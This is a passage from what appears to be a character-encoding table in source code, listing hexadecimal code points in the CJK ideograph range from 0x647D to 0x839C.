0x647D, 0x6485, 0x6487, 0x648F, 0x6490, 0x6491, 0x6498, 0x6499, 0x649B,
0x649D, 0x649F, 0x64A1, 0x64A3, 0x64A6, 0x64A8, 0x64AC, 0x64B3, 0x64BD,
0x64BE, 0x64BF, 0x64C4, 0x64C9, 0x64CA, 0x64CB, 0x64CC, 0x64CE, 0x64D0,
0x64D1, 0x64D5, 0x64D7, 0x64E4, 0x64E5, 0x64E9, 0x64EA, 0x64ED, 0x64F0,
0x64F5, 0x64F7, 0x64FB, 0x64FF, 0x6501, 0x6504, 0x6508, 0x6509, 0x650A,
0x650F, 0x6513, 0x6514, 0x6516, 0x6519, 0x651B, 0x651E, 0x651F, 0x6522,
0x6526, 0x6529, 0x652E, 0x6531, 0x653A, 0x653C, 0x653D, 0x6543, 0x6547,
0x6549, 0x6550, 0x6552, 0x6554, 0x655F, 0x6560, 0x6567, 0x656B, 0x657A,
0x657D, 0x6581, 0x6585, 0x658A, 0x6592, 0x6595, 0x6598, 0x659D, 0x65A0,
0x65A3, 0x65A6, 0x65AE, 0x65B2, 0x65B3, 0x65B4, 0x65BF, 0x65C2, 0x65C8,
0x65C9, 0x65CE, 0x65D0, 0x65D4, 0x65D6, 0x65D8, 0x65DF, 0x65F0, 0x65F2,
0x65F4, 0x65F5, 0x65F9, 0x65FE, 0x65FF, 0x6600, 0x6604, 0x6608, 0x6609,
0x660D, 0x6611, 0x6612, 0x6615, 0x6616, 0x661D, 0x661E, 0x6621, 0x6622,
0x6623, 0x6624, 0x6626, 0x6629, 0x662A, 0x662B, 0x662C, 0x662E, 0x6630,
0x6631, 0x6633, 0x6639, 0x6637, 0x6640, 0x6645, 0x6646, 0x664A, 0x664C,
0x6651, 0x664E, 0x6657, 0x6658, 0x6659, 0x665B, 0x665C, 0x6660, 0x6661,
0x66FB, 0x666A, 0x666B, 0x666C, 0x667E, 0x6673, 0x6675, 0x667F, 0x6677,
0x6678, 0x6679, 0x667B, 0x6680, 0x667C, 0x668B, 0x668C, 0x668D, 0x6690,
0x6692, 0x6699, 0x669A, 0x669B, 0x669C, 0x669F, 0x66A0, 0x66A4, 0x66AD,
0x66B1, 0x66B2, 0x66B5, 0x66BB, 0x66BF, 0x66C0, 0x66C2, 0x66C3, 0x66C8,
0x66CC, 0x66CE, 0x66CF, 0x66D4, 0x66DB, 0x66DF, 0x66E8, 0x66EB, 0x66EC,
0x66EE, 0x66FA, 0x6705, 0x6707, 0x670E, 0x6713, 0x6719, 0x671C, 0x6720,
0x6722, 0x6733, 0x673E, 0x6745, 0x6747, 0x6748, 0x674C, 0x6754, 0x6755,
0x675D, 0x6766, 0x676C, 0x676E, 0x6774, 0x6776, 0x677B, 0x6781, 0x6784,
0x678E, 0x678F, 0x6791, 0x6793, 0x6796, 0x6798, 0x6799, 0x679B, 0x67B0,
0x67B1, 0x67B2, 0x67B5, 0x67BB, 0x67BC, 0x67BD, 0x67F9, 0x67C0, 0x67C2,
0x67C3, 0x67C5, 0x67C8, 0x67C9, 0x67D2, 0x67D7, 0x67D9, 0x67DC, 0x67E1,
0x67E6, 0x67F0, 0x67F2, 0x67F6, 0x67F7, 0x6852, 0x6814, 0x6819, 0x681D,
0x681F, 0x6828, 0x6827, 0x682C, 0x682D, 0x682F, 0x6830, 0x6831, 0x6833,
0x683B, 0x683F, 0x6844, 0x6845, 0x684A, 0x684C, 0x6855, 0x6857, 0x6858,
0x685B, 0x686B, 0x686E, 0x686F, 0x6870, 0x6871, 0x6872, 0x6875, 0x6879,
0x687A, 0x687B, 0x687C, 0x6882, 0x6884, 0x6886, 0x6888, 0x6896, 0x6898,
0x689A, 0x689C, 0x68A1, 0x68A3, 0x68A5, 0x68A9, 0x68AA, 0x68AE, 0x68B2,
0x68BB, 0x68C5, 0x68C8, 0x68CC, 0x68CF, 0x68D0, 0x68D1, 0x68D3, 0x68D6,
0x68D9, 0x68DC, 0x68DD, 0x68E5, 0x68E8, 0x68EA, 0x68EB, 0x68EC, 0x68ED,
0x68F0, 0x68F1, 0x68F5, 0x68F6, 0x68FB, 0x68FC, 0x68FD, 0x6906, 0x6909,
0x690A, 0x6910, 0x6911, 0x6913, 0x6916, 0x6917, 0x6931, 0x6933, 0x6935,
0x6938, 0x693B, 0x6942, 0x6945, 0x6949, 0x694E, 0x6957, 0x695B, 0x6963,
0x6964, 0x6965, 0x6966, 0x6968, 0x6969, 0x696C, 0x6970, 0x6971, 0x6972,
0x697A, 0x697B, 0x697F, 0x6980, 0x698D, 0x6992, 0x6996, 0x6998, 0x69A1,
0x69A5, 0x69A6, 0x69A8, 0x69AB, 0x69AD, 0x69AF, 0x69B7, 0x69B8, 0x69BA,
0x69BC, 0x69C5, 0x69C8, 0x69D1, 0x69D6, 0x69D7, 0x69E2, 0x69E5, 0x69EE,
0x69EF, 0x69F1, 0x69F3, 0x69F5, 0x69FE, 0x6A00, 0x6A01, 0x6A03, 0x6A0F,
0x6A11, 0x6A15, 0x6A1A, 0x6A1D, 0x6A20, 0x6A24, 0x6A28, 0x6A30, 0x6A32,
0x6A34, 0x6A37, 0x6A3B, 0x6A3E, 0x6A3F, 0x6A45, 0x6A46, 0x6A49, 0x6A4A,
0x6A4E, 0x6A50, 0x6A51, 0x6A52, 0x6A55, 0x6A56, 0x6A5B, 0x6A64, 0x6A67,
0x6A6A, 0x6A71, 0x6A73, 0x6A7E, 0x6A81, 0x6A83, 0x6A86, 0x6A87, 0x6A89,
0x6A8B, 0x6A91, 0x6A9B, 0x6A9D, 0x6A9E, 0x6A9F, 0x6AA5, 0x6AAB, 0x6AAF,
0x6AB0, 0x6AB1, 0x6AB4, 0x6ABD, 0x6ABE, 0x6ABF, 0x6AC6, 0x6AC9, 0x6AC8,
0x6ACC, 0x6AD0, 0x6AD4, 0x6AD5, 0x6AD6, 0x6ADC, 0x6ADD, 0x6AE4, 0x6AE7,
0x6AEC, 0x6AF0, 0x6AF1, 0x6AF2, 0x6AFC, 0x6AFD, 0x6B02, 0x6B03, 0x6B06,
0x6B07, 0x6B09, 0x6B0F, 0x6B10, 0x6B11, 0x6B17, 0x6B1B, 0x6B1E, 0x6B24,
0x6B28, 0x6B2B, 0x6B2C, 0x6B2F, 0x6B35, 0x6B36, 0x6B3B, 0x6B3F, 0x6B46,
0x6B4A, 0x6B4D, 0x6B52, 0x6B56, 0x6B58, 0x6B5D, 0x6B60, 0x6B67, 0x6B6B,
0x6B6E, 0x6B70, 0x6B75, 0x6B7D, 0x6B7E, 0x6B82, 0x6B85, 0x6B97, 0x6B9B,
0x6B9F, 0x6BA0, 0x6BA2, 0x6BA3, 0x6BA8, 0x6BA9, 0x6BAC, 0x6BAD, 0x6BAE,
0x6BB0, 0x6BB8, 0x6BB9, 0x6BBD, 0x6BBE, 0x6BC3, 0x6BC4, 0x6BC9, 0x6BCC,
0x6BD6, 0x6BDA, 0x6BE1, 0x6BE3, 0x6BE6, 0x6BE7, 0x6BEE, 0x6BF1, 0x6BF7,
0x6BF9, 0x6BFF, 0x6C02, 0x6C04, 0x6C05, 0x6C09, 0x6C0D, 0x6C0E, 0x6C10,
0x6C12, 0x6C19, 0x6C1F, 0x6C26, 0x6C27, 0x6C28, 0x6C2C, 0x6C2E, 0x6C33,
0x6C35, 0x6C36, 0x6C3A, 0x6C3B, 0x6C3F, 0x6C4A, 0x6C4B, 0x6C4D, 0x6C4F,
0x6C52, 0x6C54, 0x6C59, 0x6C5B, 0x6C5C, 0x6C6B, 0x6C6D, 0x6C6F, 0x6C74,
0x6C76, 0x6C78, 0x6C79, 0x6C7B, 0x6C85, 0x6C86, 0x6C87, 0x6C89, 0x6C94,
0x6C95, 0x6C97, 0x6C98, 0x6C9C, 0x6C9F, 0x6CB0, 0x6CB2, 0x6CB4, 0x6CC2,
0x6CC6, 0x6CCD, 0x6CCF, 0x6CD0, 0x6CD1, 0x6CD2, 0x6CD4, 0x6CD6, 0x6CDA,
0x6CDC, 0x6CE0, 0x6CE7, 0x6CE9, 0x6CEB, 0x6CEC, 0x6CEE, 0x6CF2, 0x6CF4,
0x6D04, 0x6D07, 0x6D0A, 0x6D0E, 0x6D0F, 0x6D11, 0x6D13, 0x6D1A, 0x6D26,
0x6D27, 0x6D28, 0x6C67, 0x6D2E, 0x6D2F, 0x6D31, 0x6D39, 0x6D3C, 0x6D3F,
0x6D57, 0x6D5E, 0x6D5F, 0x6D61, 0x6D65, 0x6D67, 0x6D6F, 0x6D70, 0x6D7C,
0x6D82, 0x6D87, 0x6D91, 0x6D92, 0x6D94, 0x6D96, 0x6D97, 0x6D98, 0x6DAA,
0x6DAC, 0x6DB4, 0x6DB7, 0x6DB9, 0x6DBD, 0x6DBF, 0x6DC4, 0x6DC8, 0x6DCA,
0x6DCE, 0x6DCF, 0x6DD6, 0x6DDB, 0x6DDD, 0x6DDF, 0x6DE0, 0x6DE2, 0x6DE5,
0x6DE9, 0x6DEF, 0x6DF0, 0x6DF4, 0x6DF6, 0x6DFC, 0x6E00, 0x6E04, 0x6E1E,
0x6E22, 0x6E27, 0x6E32, 0x6E36, 0x6E39, 0x6E3B, 0x6E3C, 0x6E44, 0x6E45,
0x6E48, 0x6E49, 0x6E4B, 0x6E4F, 0x6E51, 0x6E52, 0x6E53, 0x6E54, 0x6E57,
0x6E5C, 0x6E5D, 0x6E5E, 0x6E62, 0x6E63, 0x6E68, 0x6E73, 0x6E7B, 0x6E7D,
0x6E8D, 0x6E93, 0x6E99, 0x6EA0, 0x6EA7, 0x6EAD, 0x6EAE, 0x6EB1, 0x6EB3,
0x6EBB, 0x6EBF, 0x6EC0, 0x6EC1, 0x6EC3, 0x6EC7, 0x6EC8, 0x6ECA, 0x6ECD,
0x6ECE, 0x6ECF, 0x6EEB, 0x6EED, 0x6EEE, 0x6EF9, 0x6EFB, 0x6EFD, 0x6F04,
0x6F08, 0x6F0A, 0x6F0C, 0x6F0D, 0x6F16, 0x6F18, 0x6F1A, 0x6F1B, 0x6F26,
0x6F29, 0x6F2A, 0x6F2F, 0x6F30, 0x6F33, 0x6F36, 0x6F3B, 0x6F3C, 0x6F2D,
0x6F4F, 0x6F51, 0x6F52, 0x6F53, 0x6F57, 0x6F59, 0x6F5A, 0x6F5D, 0x6F5E,
0x6F61, 0x6F62, 0x6F68, 0x6F6C, 0x6F7D, 0x6F7E, 0x6F83, 0x6F87, 0x6F88,
0x6F8B, 0x6F8C, 0x6F8D, 0x6F90, 0x6F92, 0x6F93, 0x6F94, 0x6F96, 0x6F9A,
0x6F9F, 0x6FA0, 0x6FA5, 0x6FA6, 0x6FA7, 0x6FA8, 0x6FAE, 0x6FAF, 0x6FB0,
0x6FB5, 0x6FB6, 0x6FBC, 0x6FC5, 0x6FC7, 0x6FC8, 0x6FCA, 0x6FDA, 0x6FDE,
0x6FE8, 0x6FE9, 0x6FF0, 0x6FF5, 0x6FF9, 0x6FFC, 0x6FFD, 0x7000, 0x7005,
0x7006, 0x7007, 0x700D, 0x7017, 0x7020, 0x7023, 0x702F, 0x7034, 0x7037,
0x7039, 0x703C, 0x7043, 0x7044, 0x7048, 0x7049, 0x704A, 0x704B, 0x7054,
0x7055, 0x705D, 0x705E, 0x704E, 0x7064, 0x7065, 0x706C, 0x706E, 0x7075,
0x7076, 0x707E, 0x7081, 0x7085, 0x7086, 0x7094, 0x7095, 0x7096, 0x7097,
0x7098, 0x709B, 0x70A4, 0x70AB, 0x70B0, 0x70B1, 0x70B4, 0x70B7, 0x70CA,
0x70D1, 0x70D3, 0x70D4, 0x70D5, 0x70D6, 0x70D8, 0x70DC, 0x70E4, 0x70FA,
0x7103, 0x7104, 0x7105, 0x7106, 0x7107, 0x710B, 0x710C, 0x710F, 0x711E,
0x7120, 0x712B, 0x712D, 0x712F, 0x7130, 0x7131, 0x7138, 0x7141, 0x7145,
0x7146, 0x7147, 0x714A, 0x714B, 0x7150, 0x7152, 0x7157, 0x715A, 0x715C,
0x715E, 0x7160, 0x7168, 0x7179, 0x7180, 0x7185, 0x7187, 0x718C, 0x7192,
0x719A, 0x719B, 0x71A0, 0x71A2, 0x71AF, 0x71B0, 0x71B2, 0x71B3, 0x71BA,
0x71BF, 0x71C0, 0x71C1, 0x71C4, 0x71CB, 0x71CC, 0x71D3, 0x71D6, 0x71D9,
0x71DA, 0x71DC, 0x71F8, 0x71FE, 0x7200, 0x7207, 0x7208, 0x7209, 0x7213,
0x7217, 0x721A, 0x721D, 0x721F, 0x7224, 0x722B, 0x722F, 0x7234, 0x7238,
0x7239, 0x7241, 0x7242, 0x7243, 0x7245, 0x724E, 0x724F, 0x7250, 0x7253,
0x7255, 0x7256, 0x725A, 0x725C, 0x725E, 0x7260, 0x7263, 0x7268, 0x726B,
0x726E, 0x726F, 0x7271, 0x7277, 0x7278, 0x727B, 0x727C, 0x727F, 0x7284,
0x7289, 0x728D, 0x728E, 0x7293, 0x729B, 0x72A8, 0x72AD, 0x72AE, 0x72B1,
0x72B4, 0x72BE, 0x72C1, 0x72C7, 0x72C9, 0x72CC, 0x72D5, 0x72D6, 0x72D8,
0x72DF, 0x72E5, 0x72F3, 0x72F4, 0x72FA, 0x72FB, 0x72FE, 0x7302, 0x7304,
0x7305, 0x7307, 0x730B, 0x730D, 0x7312, 0x7313, 0x7318, 0x7319, 0x731E,
0x7322, 0x7324, 0x7327, 0x7328, 0x732C, 0x7331, 0x7332, 0x7335, 0x733A,
0x733B, 0x733D, 0x7343, 0x734D, 0x7350, 0x7352, 0x7356, 0x7358, 0x735D,
0x735E, 0x735F, 0x7360, 0x7366, 0x7367, 0x7369, 0x736B, 0x736C, 0x736E,
0x736F, 0x7371, 0x7377, 0x7379, 0x737C, 0x7380, 0x7381, 0x7383, 0x7385,
0x7386, 0x738E, 0x7390, 0x7393, 0x7395, 0x7397, 0x7398, 0x739C, 0x739E,
0x739F, 0x73A0, 0x73A2, 0x73A5, 0x73A6, 0x73AA, 0x73AB, 0x73AD, 0x73B5,
0x73B7, 0x73B9, 0x73BC, 0x73BD, 0x73BF, 0x73C5, 0x73C6, 0x73C9, 0x73CB,
0x73CC, 0x73CF, 0x73D2, 0x73D3, 0x73D6, 0x73D9, 0x73DD, 0x73E1, 0x73E3,
0x73E6, 0x73E7, 0x73E9, 0x73F4, 0x73F5, 0x73F7, 0x73F9, 0x73FA, 0x73FB,
0x73FD, 0x73FF, 0x7400, 0x7401, 0x7404, 0x7407, 0x740A, 0x7411, 0x741A,
0x741B, 0x7424, 0x7426, 0x7428, 0x7429, 0x742A, 0x742B, 0x742C, 0x742D,
0x742E, 0x742F, 0x7430, 0x7431, 0x7439, 0x7440, 0x7443, 0x7444, 0x7446,
0x7447, 0x744B, 0x744D, 0x7451, 0x7452, 0x7457, 0x745D, 0x7462, 0x7466,
0x7467, 0x7468, 0x746B, 0x746D, 0x746E, 0x7471, 0x7472, 0x7480, 0x7481,
0x7485, 0x7486, 0x7487, 0x7489, 0x748F, 0x7490, 0x7491, 0x7492, 0x7498,
0x7499, 0x749A, 0x749C, 0x749F, 0x74A0, 0x74A1, 0x74A3, 0x74A6, 0x74A8,
0x74A9, 0x74AA, 0x74AB, 0x74AE, 0x74AF, 0x74B1, 0x74B2, 0x74B5, 0x74B9,
0x74BB, 0x74BF, 0x74C8, 0x74C9, 0x74CC, 0x74D0, 0x74D3, 0x74D8, 0x74DA,
0x74DB, 0x74DE, 0x74DF, 0x74E4, 0x74E8, 0x74EA, 0x74EB, 0x74EF, 0x74F4,
0x74FA, 0x74FB, 0x74FC, 0x74FF, 0x7506, 0x7512, 0x7516, 0x7517, 0x7520,
0x7521, 0x7524, 0x7527, 0x7529, 0x752A, 0x752F, 0x7536, 0x7539, 0x753D,
0x753E, 0x753F, 0x7540, 0x7543, 0x7547, 0x7548, 0x754E, 0x7550, 0x7552,
0x7557, 0x755E, 0x755F, 0x7561, 0x756F, 0x7571, 0x7579, 0x757A, 0x757B,
0x757C, 0x757D, 0x757E, 0x7581, 0x7585, 0x7590, 0x7592, 0x7593, 0x7595,
0x7599, 0x759C, 0x75A2, 0x75A4, 0x75B4, 0x75BA, 0x75BF, 0x75C0, 0x75C1,
0x75C4, 0x75C6, 0x75CC, 0x75CE, 0x75CF, 0x75D7, 0x75DC, 0x75DF, 0x75E0,
0x75E1, 0x75E4, 0x75E7, 0x75EC, 0x75EE, 0x75EF, 0x75F1, 0x75F9, 0x7600,
0x7602, 0x7603, 0x7604, 0x7607, 0x7608, 0x760A, 0x760C, 0x760F, 0x7612,
0x7613, 0x7615, 0x7616, 0x7619, 0x761B, 0x761C, 0x761D, 0x761E, 0x7623,
0x7625, 0x7626, 0x7629, 0x762D, 0x7632, 0x7633, 0x7635, 0x7638, 0x7639,
0x763A, 0x763C, 0x764A, 0x7640, 0x7641, 0x7643, 0x7644, 0x7645, 0x7649,
0x764B, 0x7655, 0x7659, 0x765F, 0x7664, 0x7665, 0x766D, 0x766E, 0x766F,
0x7671, 0x7674, 0x7681, 0x7685, 0x768C, 0x768D, 0x7695, 0x769B, 0x769C,
0x769D, 0x769F, 0x76A0, 0x76A2, 0x76A3, 0x76A4, 0x76A5, 0x76A6, 0x76A7,
0x76A8, 0x76AA, 0x76AD, 0x76BD, 0x76C1, 0x76C5, 0x76C9, 0x76CB, 0x76CC,
0x76CE, 0x76D4, 0x76D9, 0x76E0, 0x76E6, 0x76E8, 0x76EC, 0x76F0, 0x76F1,
0x76F6, 0x76F9, 0x76FC, 0x7700, 0x7706, 0x770A, 0x770E, 0x7712, 0x7714,
0x7715, 0x7717, 0x7719, 0x771A, 0x771C, 0x7722, 0x7728, 0x772D, 0x772E,
0x772F, 0x7734, 0x7735, 0x7736, 0x7739, 0x773D, 0x773E, 0x7742, 0x7745,
0x7746, 0x774A, 0x774D, 0x774E, 0x774F, 0x7752, 0x7756, 0x7757, 0x775C,
0x775E, 0x775F, 0x7760, 0x7762, 0x7764, 0x7767, 0x776A, 0x776C, 0x7770,
0x7772, 0x7773, 0x7774, 0x777A, 0x777D, 0x7780, 0x7784, 0x778C, 0x778D,
0x7794, 0x7795, 0x7796, 0x779A, 0x779F, 0x77A2, 0x77A7, 0x77AA, 0x77AE,
0x77AF, 0x77B1, 0x77B5, 0x77BE, 0x77C3, 0x77C9, 0x77D1, 0x77D2, 0x77D5,
0x77D9, 0x77DE, 0x77DF, 0x77E0, 0x77E4, 0x77E6, 0x77EA, 0x77EC, 0x77F0,
0x77F1, 0x77F4, 0x77F8, 0x77FB, 0x7805, 0x7806, 0x7809, 0x780D, 0x780E,
0x7811, 0x781D, 0x7821, 0x7822, 0x7823, 0x782D, 0x782E, 0x7830, 0x7835,
0x7837, 0x7843, 0x7844, 0x7847, 0x7848, 0x784C, 0x784E, 0x7852, 0x785C,
0x785E, 0x7860, 0x7861, 0x7863, 0x7864, 0x7868, 0x786A, 0x786E, 0x787A,
0x787E, 0x788A, 0x788F, 0x7894, 0x7898, 0x78A1, 0x789D, 0x789E, 0x789F,
0x78A4, 0x78A8, 0x78AC, 0x78AD, 0x78B0, 0x78B1, 0x78B2, 0x78B3, 0x78BB,
0x78BD, 0x78BF, 0x78C7, 0x78C8, 0x78C9, 0x78CC, 0x78CE, 0x78D2, 0x78D3,
0x78D5, 0x78D6, 0x78E4, 0x78DB, 0x78DF, 0x78E0, 0x78E1, 0x78E6, 0x78EA,
0x78F2, 0x78F3, 0x7900, 0x78F6, 0x78F7, 0x78FA, 0x78FB, 0x78FF, 0x7906,
0x790C, 0x7910, 0x791A, 0x791C, 0x791E, 0x791F, 0x7920, 0x7925, 0x7927,
0x7929, 0x792D, 0x7931, 0x7934, 0x7935, 0x793B, 0x793D, 0x793F, 0x7944,
0x7945, 0x7946, 0x794A, 0x794B, 0x794F, 0x7951, 0x7954, 0x7958, 0x795B,
0x795C, 0x7967, 0x7969, 0x796B, 0x7972, 0x7979, 0x797B, 0x797C, 0x797E,
0x798B, 0x798C, 0x7991, 0x7993, 0x7994, 0x7995, 0x7996, 0x7998, 0x799B,
0x799C, 0x79A1, 0x79A8, 0x79A9, 0x79AB, 0x79AF, 0x79B1, 0x79B4, 0x79B8,
0x79BB, 0x79C2, 0x79C4, 0x79C7, 0x79C8, 0x79CA, 0x79CF, 0x79D4, 0x79D6,
0x79DA, 0x79DD, 0x79DE, 0x79E0, 0x79E2, 0x79E5, 0x79EA, 0x79EB, 0x79ED,
0x79F1, 0x79F8, 0x79FC, 0x7A02, 0x7A03, 0x7A07, 0x7A09, 0x7A0A, 0x7A0C,
0x7A11, 0x7A15, 0x7A1B, 0x7A1E, 0x7A21, 0x7A27, 0x7A2B, 0x7A2D, 0x7A2F,
0x7A30, 0x7A34, 0x7A35, 0x7A38, 0x7A39, 0x7A3A, 0x7A44, 0x7A45, 0x7A47,
0x7A48, 0x7A4C, 0x7A55, 0x7A56, 0x7A59, 0x7A5C, 0x7A5D, 0x7A5F, 0x7A60,
0x7A65, 0x7A67, 0x7A6A, 0x7A6D, 0x7A75, 0x7A78, 0x7A7E, 0x7A80, 0x7A82,
0x7A85, 0x7A86, 0x7A8A, 0x7A8B, 0x7A90, 0x7A91, 0x7A94, 0x7A9E, 0x7AA0,
0x7AA3, 0x7AAC, 0x7AB3, 0x7AB5, 0x7AB9, 0x7ABB, 0x7ABC, 0x7AC6, 0x7AC9,
0x7ACC, 0x7ACE, 0x7AD1, 0x7ADB, 0x7AE8, 0x7AE9, 0x7AEB, 0x7AEC, 0x7AF1,
0x7AF4, 0x7AFB, 0x7AFD, 0x7AFE, 0x7B07, 0x7B14, 0x7B1F, 0x7B23, 0x7B27,
0x7B29, 0x7B2A, 0x7B2B, 0x7B2D, 0x7B2E, 0x7B2F, 0x7B30, 0x7B31, 0x7B34,
0x7B3D, 0x7B3F, 0x7B40, 0x7B41, 0x7B47, 0x7B4E, 0x7B55, 0x7B60, 0x7B64,
0x7B66, 0x7B69, 0x7B6A, 0x7B6D, 0x7B6F, 0x7B72, 0x7B73, 0x7B77, 0x7B84,
0x7B89, 0x7B8E, 0x7B90, 0x7B91, 0x7B96, 0x7B9B, 0x7B9E, 0x7BA0, 0x7BA5,
0x7BAC, 0x7BAF, 0x7BB0, 0x7BB2, 0x7BB5, 0x7BB6, 0x7BBA, 0x7BBB, 0x7BBC,
0x7BBD, 0x7BC2, 0x7BC5, 0x7BC8, 0x7BCA, 0x7BD4, 0x7BD6, 0x7BD7, 0x7BD9,
0x7BDA, 0x7BDB, 0x7BE8, 0x7BEA, 0x7BF2, 0x7BF4, 0x7BF5, 0x7BF8, 0x7BF9,
0x7BFA, 0x7BFC, 0x7BFE, 0x7C01, 0x7C02, 0x7C03, 0x7C04, 0x7C06, 0x7C09,
0x7C0B, 0x7C0C, 0x7C0E, 0x7C0F, 0x7C19, 0x7C1B, 0x7C20, 0x7C25, 0x7C26,
0x7C28, 0x7C2C, 0x7C31, 0x7C33, 0x7C34, 0x7C36, 0x7C39, 0x7C3A, 0x7C46,
0x7C4A, 0x7C55, 0x7C51, 0x7C52, 0x7C53, 0x7C59, 0x7C5A, 0x7C5B, 0x7C5C,
0x7C5D, 0x7C5E, 0x7C61, 0x7C63, 0x7C67, 0x7C69, 0x7C6D, 0x7C6E, 0x7C70,
0x7C72, 0x7C79, 0x7C7C, 0x7C7D, 0x7C86, 0x7C87, 0x7C8F, 0x7C94, 0x7C9E,
0x7CA0, 0x7CA6, 0x7CB0, 0x7CB6, 0x7CB7, 0x7CBA, 0x7CBB, 0x7CBC, 0x7CBF,
0x7CC4, 0x7CC7, 0x7CC8, 0x7CC9, 0x7CCD, 0x7CCF, 0x7CD3, 0x7CD4, 0x7CD5,
0x7CD7, 0x7CD9, 0x7CDA, 0x7CDD, 0x7CE6, 0x7CE9, 0x7CEB, 0x7CF5, 0x7D03,
0x7D07, 0x7D08, 0x7D09, 0x7D0F, 0x7D11, 0x7D12, 0x7D13, 0x7D16, 0x7D1D,
0x7D1E, 0x7D23, 0x7D26, 0x7D2A, 0x7D2D, 0x7D31, 0x7D3C, 0x7D3D, 0x7D3E,
0x7D40, 0x7D41, 0x7D47, 0x7D48, 0x7D4D, 0x7D51, 0x7D53, 0x7D57, 0x7D59,
0x7D5A, 0x7D5C, 0x7D5D, 0x7D65, 0x7D67, 0x7D6A, 0x7D70, 0x7D78, 0x7D7A,
0x7D7B, 0x7D7F, 0x7D81, 0x7D82, 0x7D83, 0x7D85, 0x7D86, 0x7D88, 0x7D8B,
0x7D8C, 0x7D8D, 0x7D91, 0x7D96, 0x7D97, 0x7D9D, 0x7D9E, 0x7DA6, 0x7DA7,
0x7DAA, 0x7DB3, 0x7DB6, 0x7DB7, 0x7DB9, 0x7DC2, 0x7DC3, 0x7DC4, 0x7DC5,
0x7DC6, 0x7DCC, 0x7DCD, 0x7DCE, 0x7DD7, 0x7DD9, 0x7E00, 0x7DE2, 0x7DE5,
0x7DE6, 0x7DEA, 0x7DEB, 0x7DED, 0x7DF1, 0x7DF5, 0x7DF6, 0x7DF9, 0x7DFA,
0x7E08, 0x7E10, 0x7E11, 0x7E15, 0x7E17, 0x7E1C, 0x7E1D, 0x7E20, 0x7E27,
0x7E28, 0x7E2C, 0x7E2D, 0x7E2F, 0x7E33, 0x7E36, 0x7E3F, 0x7E44, 0x7E45,
0x7E47, 0x7E4E, 0x7E50, 0x7E52, 0x7E58, 0x7E5F, 0x7E61, 0x7E62, 0x7E65,
0x7E6B, 0x7E6E, 0x7E6F, 0x7E73, 0x7E78, 0x7E7E, 0x7E81, 0x7E86, 0x7E87,
0x7E8A, 0x7E8D, 0x7E91, 0x7E95, 0x7E98, 0x7E9A, 0x7E9D, 0x7E9E, 0x7F3C,
0x7F3B, 0x7F3D, 0x7F3E, 0x7F3F, 0x7F43, 0x7F44, 0x7F47, 0x7F4F, 0x7F52,
0x7F53, 0x7F5B, 0x7F5C, 0x7F5D, 0x7F61, 0x7F63, 0x7F64, 0x7F65, 0x7F66,
0x7F6D, 0x7F71, 0x7F7D, 0x7F7E, 0x7F7F, 0x7F80, 0x7F8B, 0x7F8D, 0x7F8F,
0x7F90, 0x7F91, 0x7F96, 0x7F97, 0x7F9C, 0x7FA1, 0x7FA2, 0x7FA6, 0x7FAA,
0x7FAD, 0x7FB4, 0x7FBC, 0x7FBF, 0x7FC0, 0x7FC3, 0x7FC8, 0x7FCE, 0x7FCF,
0x7FDB, 0x7FDF, 0x7FE3, 0x7FE5, 0x7FE8, 0x7FEC, 0x7FEE, 0x7FEF, 0x7FF2,
0x7FFA, 0x7FFD, 0x7FFE, 0x7FFF, 0x8007, 0x8008, 0x800A, 0x800D, 0x800E,
0x800F, 0x8011, 0x8013, 0x8014, 0x8016, 0x801D, 0x801E, 0x801F, 0x8020,
0x8024, 0x8026, 0x802C, 0x802E, 0x8030, 0x8034, 0x8035, 0x8037, 0x8039,
0x803A, 0x803C, 0x803E, 0x8040, 0x8044, 0x8060, 0x8064, 0x8066, 0x806D,
0x8071, 0x8075, 0x8081, 0x8088, 0x808E, 0x809C, 0x809E, 0x80A6, 0x80A7,
0x80AB, 0x80B8, 0x80B9, 0x80C8, 0x80CD, 0x80CF, 0x80D2, 0x80D4, 0x80D5,
0x80D7, 0x80D8, 0x80E0, 0x80ED, 0x80EE, 0x80F0, 0x80F2, 0x80F3, 0x80F6,
0x80F9, 0x80FA, 0x80FE, 0x8103, 0x810B, 0x8116, 0x8117, 0x8118, 0x811C,
0x811E, 0x8120, 0x8124, 0x8127, 0x812C, 0x8130, 0x8135, 0x813A, 0x813C,
0x8145, 0x8147, 0x814A, 0x814C, 0x8152, 0x8157, 0x8160, 0x8161, 0x8167,
0x8168, 0x8169, 0x816D, 0x816F, 0x8177, 0x8181, 0x8190, 0x8184, 0x8185,
0x8186, 0x818B, 0x818E, 0x8196, 0x8198, 0x819B, 0x819E, 0x81A2, 0x81AE,
0x81B2, 0x81B4, 0x81BB, 0x81CB, 0x81C3, 0x81C5, 0x81CA, 0x81CE, 0x81CF,
0x81D5, 0x81D7, 0x81DB, 0x81DD, 0x81DE, 0x81E1, 0x81E4, 0x81EB, 0x81EC,
0x81F0, 0x81F1, 0x81F2, 0x81F5, 0x81F6, 0x81F8, 0x81F9, 0x81FD, 0x81FF,
0x8200, 0x8203, 0x820F, 0x8213, 0x8214, 0x8219, 0x821A, 0x821D, 0x8221,
0x8222, 0x8228, 0x8232, 0x8234, 0x823A, 0x8243, 0x8244, 0x8245, 0x8246,
0x824B, 0x824E, 0x824F, 0x8251, 0x8256, 0x825C, 0x8260, 0x8263, 0x8267,
0x826D, 0x8274, 0x827B, 0x827D, 0x827F, 0x8280, 0x8281, 0x8283, 0x8284,
0x8287, 0x8289, 0x828A, 0x828E, 0x8291, 0x8294, 0x8296, 0x8298, 0x829A,
0x829B, 0x82A0, 0x82A1, 0x82A3, 0x82A4, 0x82A7, 0x82A8, 0x82A9, 0x82AA,
0x82AE, 0x82B0, 0x82B2, 0x82B4, 0x82B7, 0x82BA, 0x82BC, 0x82BE, 0x82BF,
0x82C6, 0x82D0, 0x82D5, 0x82DA, 0x82E0, 0x82E2, 0x82E4, 0x82E8, 0x82EA,
0x82ED, 0x82EF, 0x82F6, 0x82F7, 0x82FD, 0x82FE, 0x8300, 0x8301, 0x8307,
0x8308, 0x830A, 0x830B, 0x8354, 0x831B, 0x831D, 0x831E, 0x831F, 0x8321,
0x8322, 0x832C, 0x832D, 0x832E, 0x8330, 0x8333, 0x8337, 0x833A, 0x833C,
0x833D, 0x8342, 0x8343, 0x8344, 0x8347, 0x834D, 0x834E, 0x8351, 0x8355,
0x8356, 0x8357, 0x8370, 0x8378, 0x837D, 0x837F, 0x8380, 0x8382, 0x8384,
0x8386, 0x838D, 0x8392, 0x8394, 0x8395, 0x8398, 0x8399, 0x839B, 0x839C,
